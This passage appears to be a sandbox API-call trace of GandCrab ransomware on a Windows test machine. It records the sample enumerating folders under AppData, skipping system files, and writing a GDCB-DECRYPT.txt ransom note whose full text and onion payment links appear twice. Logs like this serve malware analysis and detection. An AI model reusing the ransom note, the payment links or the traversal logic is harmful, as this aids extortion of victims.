(lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\") returned 59 [0053.817] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\*" [0053.817] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\*", lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 0x5b7db0 [0053.818] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0053.818] FindNextFileW (in: hFindFile=0x5b7db0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0053.818] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0053.818] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0053.818] FindNextFileW (in: hFindFile=0x5b7db0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0053.818] lstrcmpW (lpString1="S-1-5-21-1462094071-1423818996-289466292-1000", lpString2=".") returned 1 [0053.818] lstrcmpW (lpString1="S-1-5-21-1462094071-1423818996-289466292-1000", lpString2="..") returned 1 [0053.818] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\", lpString2="S-1-5-21-1462094071-1423818996-289466292-1000" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000" [0053.818] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000") returned 104 [0053.818] FindNextFileW (in: hFindFile=0x5b7db0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 0 [0053.818] FindClose (in: hFindFile=0x5b7db0 | out: hFindFile=0x5b7db0) returned 1 [0053.818] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.818] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\\\GDCB-DECRYPT.txt") returned 76 [0053.818] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\crypto\\rsa\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4fc [0053.819] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0053.819] WriteFile (in: hFile=0x4fc, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285eaec, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285eaec*=0xad6, lpOverlapped=0x0) returned 1 [0053.820] CloseHandle (hObject=0x4fc) returned 1 [0053.820] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.820] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\") returned 59 [0053.820] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\*" [0053.820] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\*", lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 0x5b8b70 [0053.820] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0053.820] FindNextFileW (in: hFindFile=0x5b8b70, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0053.820] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0053.820] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0053.820] FindNextFileW (in: hFindFile=0x5b8b70, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0053.820] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0053.820] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0053.820] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\GDCB-DECRYPT.txt" [0053.820] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.820] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\GDCB-DECRYPT.txt") returned 75 [0053.820] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\GDCB-DECRYPT.txt") returned 75 [0053.820] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\GDCB-DECRYPT.txt") returned 75 [0053.820] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\GDCB-DECRYPT.txt") returned 75 [0053.820] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0053.820] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0053.821] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0053.821] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0053.821] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0053.821] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0053.821] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0053.821] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0053.821] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0053.821] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.821] FindNextFileW (in: hFindFile=0x5b8b70, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0053.821] lstrcmpW (lpString1="S-1-5-21-1462094071-1423818996-289466292-1000", lpString2=".") returned 1 [0053.821] lstrcmpW (lpString1="S-1-5-21-1462094071-1423818996-289466292-1000", lpString2="..") returned 1 [0053.821] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\", lpString2="S-1-5-21-1462094071-1423818996-289466292-1000" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000" [0053.821] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\" [0053.821] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.821] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0053.821] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0053.821] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0053.821] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0053.821] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.821] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\") returned 105 [0053.821] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\*" [0053.821] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\*", lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 0x5b8ab0 [0053.821] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0053.821] FindNextFileW (in: hFindFile=0x5b8ab0, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0053.821] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0053.821] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0053.821] FindNextFileW (in: hFindFile=0x5b8ab0, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0053.821] lstrcmpW (lpString1="46a78fa46b43fb180b4fa21773f8ff3e_427a1946-e0ff-4097-8c9e-ca2c1e22780b", lpString2=".") returned 1 [0053.821] lstrcmpW (lpString1="46a78fa46b43fb180b4fa21773f8ff3e_427a1946-e0ff-4097-8c9e-ca2c1e22780b", lpString2="..") returned 1 [0053.821] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\", lpString2="46a78fa46b43fb180b4fa21773f8ff3e_427a1946-e0ff-4097-8c9e-ca2c1e22780b" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\46a78fa46b43fb180b4fa21773f8ff3e_427a1946-e0ff-4097-8c9e-ca2c1e22780b") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\46a78fa46b43fb180b4fa21773f8ff3e_427a1946-e0ff-4097-8c9e-ca2c1e22780b" [0053.822] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\46a78fa46b43fb180b4fa21773f8ff3e_427a1946-e0ff-4097-8c9e-ca2c1e22780b") returned 174 [0053.822] FindNextFileW (in: hFindFile=0x5b8ab0, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0053.822] lstrcmpW (lpString1="83aa4cc77f591dfc2374580bbd95f6ba_427a1946-e0ff-4097-8c9e-ca2c1e22780b", lpString2=".") returned 1 [0053.822] lstrcmpW (lpString1="83aa4cc77f591dfc2374580bbd95f6ba_427a1946-e0ff-4097-8c9e-ca2c1e22780b", lpString2="..") returned 1 [0053.822] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\", lpString2="83aa4cc77f591dfc2374580bbd95f6ba_427a1946-e0ff-4097-8c9e-ca2c1e22780b" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\83aa4cc77f591dfc2374580bbd95f6ba_427a1946-e0ff-4097-8c9e-ca2c1e22780b") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\83aa4cc77f591dfc2374580bbd95f6ba_427a1946-e0ff-4097-8c9e-ca2c1e22780b" [0053.822] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\83aa4cc77f591dfc2374580bbd95f6ba_427a1946-e0ff-4097-8c9e-ca2c1e22780b") returned 174 [0053.822] FindNextFileW (in: hFindFile=0x5b8ab0, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 0 [0053.822] FindClose (in: hFindFile=0x5b8ab0 | out: hFindFile=0x5b8ab0) returned 1 [0053.822] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.822] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\\\GDCB-DECRYPT.txt") returned 122 [0053.822] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\crypto\\rsa\\s-1-5-21-1462094071-1423818996-289466292-1000\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x500 [0053.822] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0053.822] WriteFile (in: hFile=0x500, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285e864, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285e864*=0xad6, lpOverlapped=0x0) returned 1 [0053.823] CloseHandle (hObject=0x500) returned 1 [0053.823] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.824] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\") returned 105 [0053.824] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\*" [0053.824] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\*", lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 0x5b85b0 [0053.824] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0053.824] FindNextFileW (in: hFindFile=0x5b85b0, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0053.824] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0053.824] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0053.824] FindNextFileW (in: hFindFile=0x5b85b0, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0053.824] lstrcmpW (lpString1="46a78fa46b43fb180b4fa21773f8ff3e_427a1946-e0ff-4097-8c9e-ca2c1e22780b", lpString2=".") returned 1 [0053.824] lstrcmpW (lpString1="46a78fa46b43fb180b4fa21773f8ff3e_427a1946-e0ff-4097-8c9e-ca2c1e22780b", lpString2="..") returned 1 [0053.824] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\", lpString2="46a78fa46b43fb180b4fa21773f8ff3e_427a1946-e0ff-4097-8c9e-ca2c1e22780b" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\46a78fa46b43fb180b4fa21773f8ff3e_427a1946-e0ff-4097-8c9e-ca2c1e22780b") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\46a78fa46b43fb180b4fa21773f8ff3e_427a1946-e0ff-4097-8c9e-ca2c1e22780b" [0053.824] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.824] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\46a78fa46b43fb180b4fa21773f8ff3e_427a1946-e0ff-4097-8c9e-ca2c1e22780b") returned 174 [0053.824] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\46a78fa46b43fb180b4fa21773f8ff3e_427a1946-e0ff-4097-8c9e-ca2c1e22780b") returned 174 [0053.824] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.824] FindNextFileW (in: hFindFile=0x5b85b0, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0053.824] lstrcmpW (lpString1="83aa4cc77f591dfc2374580bbd95f6ba_427a1946-e0ff-4097-8c9e-ca2c1e22780b", lpString2=".") returned 1 [0053.824] lstrcmpW (lpString1="83aa4cc77f591dfc2374580bbd95f6ba_427a1946-e0ff-4097-8c9e-ca2c1e22780b", lpString2="..") returned 1 [0053.824] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\", lpString2="83aa4cc77f591dfc2374580bbd95f6ba_427a1946-e0ff-4097-8c9e-ca2c1e22780b" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\83aa4cc77f591dfc2374580bbd95f6ba_427a1946-e0ff-4097-8c9e-ca2c1e22780b") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\83aa4cc77f591dfc2374580bbd95f6ba_427a1946-e0ff-4097-8c9e-ca2c1e22780b" [0053.824] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.824] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\83aa4cc77f591dfc2374580bbd95f6ba_427a1946-e0ff-4097-8c9e-ca2c1e22780b") returned 174 [0053.824] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\83aa4cc77f591dfc2374580bbd95f6ba_427a1946-e0ff-4097-8c9e-ca2c1e22780b") returned 174 [0053.824] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.825] FindNextFileW (in: hFindFile=0x5b85b0, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0053.825] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0053.825] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0053.825] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\GDCB-DECRYPT.txt" [0053.825] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.825] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\GDCB-DECRYPT.txt") returned 121 [0053.825] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\GDCB-DECRYPT.txt") returned 121 [0053.825] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\GDCB-DECRYPT.txt") returned 121 [0053.825] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\GDCB-DECRYPT.txt") returned 121 [0053.825] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0053.825] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0053.825] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0053.825] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0053.825] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0053.825] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0053.825] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0053.825] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0053.825] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0053.825] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.825] FindNextFileW (in: hFindFile=0x5b85b0, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 0 [0053.825] FindClose (in: hFindFile=0x5b85b0 | out: hFindFile=0x5b85b0) returned 1 [0053.825] FindNextFileW (in: hFindFile=0x5b8b70, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 0 [0053.825] FindClose (in: hFindFile=0x5b8b70 | out: hFindFile=0x5b8b70) returned 1 [0053.825] FindNextFileW (in: hFindFile=0x5892e0, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 0 [0053.825] FindClose (in: hFindFile=0x5892e0 | out: hFindFile=0x5892e0) returned 1 [0053.825] FindNextFileW (in: hFindFile=0x565640, lpFindFileData=0x285f018 | out: lpFindFileData=0x285f018) returned 1 [0053.825] lstrcmpW (lpString1="Document Building Blocks", lpString2=".") returned 1 [0053.825] lstrcmpW (lpString1="Document Building Blocks", lpString2="..") returned 1 [0053.825] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="Document Building Blocks" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks" [0053.825] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\" [0053.825] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.826] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0053.826] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0053.826] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: 